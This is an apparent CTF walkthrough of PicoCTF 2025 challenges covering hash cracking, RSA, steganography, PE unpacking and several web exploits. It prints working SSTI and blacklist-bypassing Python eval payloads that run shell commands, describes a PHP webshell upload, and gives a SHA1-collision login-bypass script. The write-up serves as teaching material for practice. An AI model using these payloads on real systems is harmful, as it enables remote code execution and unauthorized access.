Walkthroughs of various challenges in PicoCTF 2025
Cryptography
1. hashcrack
This is a easy level challenge which required only two tools to identify and crack the hash. I used two online tools, for identifying, I used https://hashes.com/en/tools/hash_identifier and for cracking hashes, I used decode.fr. Upon connecting using pico browser webshell, this is the first thing we see.

Upon checking the given hash with hash identifier, we get this message “482c811da5d5b4bc6d497ffa98491e38 — Possible algorithms: MD5”
Now we know that the given hash is MD5. Using decode, we get “password123”
The next hash can also be solved in a similar manner. The next hash is b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3.
Its SHA-1, Upon decoding we get “letmein.”
The last hash is a SHA256 (“qwerty098”).
We then get the flag

The final flag is: picoCTF{UseStr0nG_h@shEs_&PaSswDs!_eff9dbe0}
2. Even RSA Can Be Broken???
After connecting we get this screen in pico browser webshell.

We can directly use a RSA decoder tool or use a traditional method. I prefer to use decode.fr RSA cipher tool.
After entering the given values we get the flag picoCTF{tw0_1$_pr!m3f995d086}
3. Red.png
I tried Strings and Exif, and after the lack of result, except for discovering a poem, I decided to use zsteg command and -a for all.

We can see a base64 string repeated multiple times, So upon decoding (using decode.fr),
we get the final flag picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}
Reverse Engineering
Binary Instrumentation 1 & 2
We’re given windows executables and in windows portable executables its quite possible that they might contain embedded resources inside them.
1. Checking for the sections inside the given binary
$ rabin2 -S bininst1.exe
[Sections]
nth paddr size vaddr vsize perm type name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000400 0x4800 0x140001000 0x5000 -r-x ---- .text
1 0x00004c00 0xa00 0x140006000 0x1000 -r-- ---- .rdata
2 0x00005600 0x200 0x140007000 0x1000 -rw- ---- .data
3 0x00005800 0x400 0x140008000 0x1000 -r-- ---- .pdata
4 0x00005c00 0x200 0x140009000 0x1000 -r-- ---- .rsrc
5 0x00005e00 0x200 0x14000a000 0x1000 -r-- ---- .reloc
6 0x00006000 0x1600 0x14000b000 0x2000 -r-- ---- .ATOM
Here, we can see that there are 7 sections in the provided executable and one of them (.ATOM) is suspicious which we typically don't see in windows portable executables
This might be hint that the executable is probably packed by some unknown packer. To tackle this, we can try unpacking this by very basic method of using binwalk here.
2. Using binwalk to get the unpacked executable
$ binwalk bininst1.exe -e
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Microsoft executable, portable (PE)
23648 0x5C60 XML document, version: "1.0"
24576 0x6000 LZMA compressed data, properties: 0x5D, dictionary size: 1048576 bytes, uncompressed size: 14336 bytes
Now here, we can see some compressed data at 0x6000 which is same address as of .ATOM section.
3. Extracting and analyzing the data inside .ATOM section
After extracting the contents by using binwalk we can identify them using file command
$ file *
6000: PE32+ executable (console) x86-64, for MS Windows, 6 sections
6000.7z: LZMA compressed data, non-streamed, size 14336
Here, 6000 is the executable that was inside the .ATOM section of the given executable. And it contains typical 6 sections so we can assume that it's safe to proceed thinking its unpacked.
Now, to see the contents for the first glance without going into much analysis we can use our favorite strings.
$ strings 6000
!This program cannot be run in DOS mode.
MRich
.text
`.rdata
.
.
.
.
t$@H
A^_]
Hi, I have the flag for you just right here!
I'll just take a quick nap before I print it out for you, should only take me a decade or so!
zzzzzzzz....
Ok, I'm Up! The flag is: cGljb0NURnt3NGtlX20zX3VwX3cxdGhfZnIxZGFfZjI3YWNjMzh9
RSDS
C:\Users\kiran\source\repos\BinaryInstrumentation2\x64\Release\BinaryInstrumentation2.pdb
GCTL
.
.
.
</trustInfo>
</assembly>
Here, we can see a some sort of string stating The flag is: cGljb0NURnt3NGtlX20zX3VwX3cxdGhfZnIxZGFfZjI3YWNjMzh9 which does seem to contain encrypted flag and just by a look onto the encrypted flag we can tell its base64 encoding.
4. The FLAG
Use any online base64 decoder or just be a cool guy like me
$ echo "cGljb0NURnt3NGtlX20zX3VwX3cxdGhfZnIxZGFfZjI3YWNjMzh9" | base64 -d
picoCTF{w4ke_m3_up_w1th_fr1da_f27acc38}
Now you can sleep :)
Web Exploitation
1. SSTI 1 and 2
We are presented with a simple interface allowing us to enter an input

On entering any input (I entered Hello World in this case), it enlarges and displays the input

Because the challenge name is SSTI1 and SSTI2, I tried a basic test payload {{7*7}} .

This confirms SSTI. Now we can try a lot of payloads from where I found this to work for both SSTI1 and SSTI2 {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}} .

The same payload will work in SSTI2.
2. n0s4n1ty 1
This is a very simple beginner level question involving malicious php file uploads. On entering the webpage we’re presented with an interface to upload profile pictures which doesn’t sanitize the type of file uploaded.

We’ll upload a very simple webshell onto the server.
Just clone the repository and upload the shell.php file onto the server.

Let’s navigate to uploads/shell.php on the server to access the webshell.

We can read the flag using sudo cat /root/flag.txt .
3. 3v@l
We are greeted with a bank loan page calculator

We can enter normal values as prompted in the input placeholder and see the results as normal. Due to the name of the question Eval I looked into the mechanics of the eval function in python. So let’s try and run [_ for _ in range(10)] . This gives us this

Since this works, let’s try running some shell commands to gain RCE, namely __import__('os').popen('ls').read() .

We can see that the eval function is protected by a blacklist. So let’s try and apply some basic blacklist bypassing techniques to this code. Our payload will be __import__('o'+'s').popen('l'+'s'+' /').read() .

This gives us that the '' is blocked. So we’ll use a payload like this __import__(chr(111)+chr(115)).popen(chr(108)+chr(115)+chr(32)+chr(47)).read() . This allows us to read the root directory by dynamically building the string __import__('os').popen('ls /').read() .

Similarly we’ll read /flag.txt using the same method __import__(chr(111)+chr(115)).popen(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(42)).read() . This gives us the flag.

4. WebSockFish
We are greeted with a simple chess game. For the sake of demonstration I’m going to perform a Fool’s Mate from the white side to lose :).

Let’s analye the requests from BurpSuite.

When analysing the source code from the webpage, I found this function in the JavaScript to be quite interesting:
var ws_address = “ws://” + location.hostname + “:” + location.port + “/ws/”;
const ws = new WebSocket(ws_address); ws.onmessage = (event) => { const message = event.data; updateChat(message); };
function sendMessage(message) { ws.send(message); }
function updateChat(message) { const chatText = $(“#chatText”); chatText.text(message); }
We can see that these functions are called throughout the rest of the JavaScript, essentially serving the purpose of updating the chat log based on the WebSocket communication.

This confirms our suspicions that the eval value decides the reaction of the bot. Now, a typical value for eval for the StockFish engine (used in this question) would be between -520 and 520. So I overloaded this by sending it eval -10969 (a random big negative number).

5. Apriti Sesamo
We are greeted by a simple home page with a button that leads to the login panel. Click on the button to head to the login panel.

From this point on, there’s really no obvious hint as to where or how this page can be broken, so let’s check the hints given for this question.
a) Backup Files
b) Rumor has it, the lead developer is a militant emacs user
From these 2 hints, I inferred that we need to recover the emacs backup file for the login page.
Emacs backup files typically add a tilde (~) after the filename. So if your filename was login.php the emacs backup would be login.php~ . So let’s test this out by navigating to impossibleLogin.php~ .
At first glance this page appears normal, but seeing the source code reveals some obfuscated php.

Let’s just deobfuscate this PHP code to see how the login page works. The php code deobfuscates to the following:
<?php
if (isset($_POST[“username”]) && isset($_POST[“password”])) {
$yuf85e0677 = $_POST[“username”];
$rs35c246d5 = $_POST[“password”];
if ($yuf85e0677 == $rs35c246d5) {
echo “<br/>Failed! Not the correct password!”;
} else {
if (sha1($yuf85e0677) === sha1($rs35c246d5)) {
echo file_get_contents(“../flags.php”);
} else {
echo “<br/>Failed! Not the correct password!”;
}
}
}
?>
From here we can see that the program checks if the username is equal to the password. If it is, it exits without giving the flag. If the username and password are not equal, it checks if the the sha1 hash of the username and password match. If they are equal, it returns the flag.
At first glance it seems like we could try type juggling of the username and password in order to bypass the first check. However, this didn’t work for me. Instead I made use of the SHAttered exploit (https://shattered.io/). The SHAttered exploit is a known collision of SHA1 where 2 different pdfs evaluate to the same SHA1 hash. Therefore, we’ll send the bytes of this username and password to the login form at impossibleLogin.php and obtain the flag. I used a script from this post with certain modifications https://www.linkedin.com/pulse/using-sha1-collision-attack-solve-bostonkeyparty-ctf-rotimi to obtain the flag.
Final Script to get the flag:
import requests
import sys
if len(sys.argv) != 2:
print(f"Usage {sys.argv[0]} <url>")
exit(1)
url = sys.argv[1]
pdf1 = "https://shattered.io/static/shattered-1.pdf"
pdf2 = "https://shattered.io/static/shattered-2.pdf"
print("[*] Getting pdf1 content")
pdf1_bytes = requests.get(pdf1).content
print("[*] Getting pdf2 content")
pdf2_bytes = requests.get(pdf2).content
data = {
"username":pdf2_bytes,
"pwd": pdf1_bytes
}
res = requests.post(url, data=data)
print(res.text)
This yields the flag to us by utilizing the hash collision in SHA1 to get the flag.
6. Head Dump
We are greeted with a news site as follows:

On the site we see a tag pointing the Swagger documentation of the Site’s API. Let’s open the documentation at /api-docs/ .

The interesting endpoint here is heapdump, which returns a snapshot of the server’s memory so let’s get the file using the command curl http://site-addr/heapdump -o heapdump .
Now we’ll use the command strings heapdump | grep pico to get the flag.

7. Cookie Monster’s Secret Recipe
We are greeted by a simple login screen, so let’s login with the credentials smiles:smiles .

We land on an Access Denied page. But we can analyse the cookies of the webpage.

The cookie appears to be base64 encoded, so let’s decode it.

Decoding the cookies on base64decode.org yields the flag.
Contributors
PicoCTF 2025 Walkthrough was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.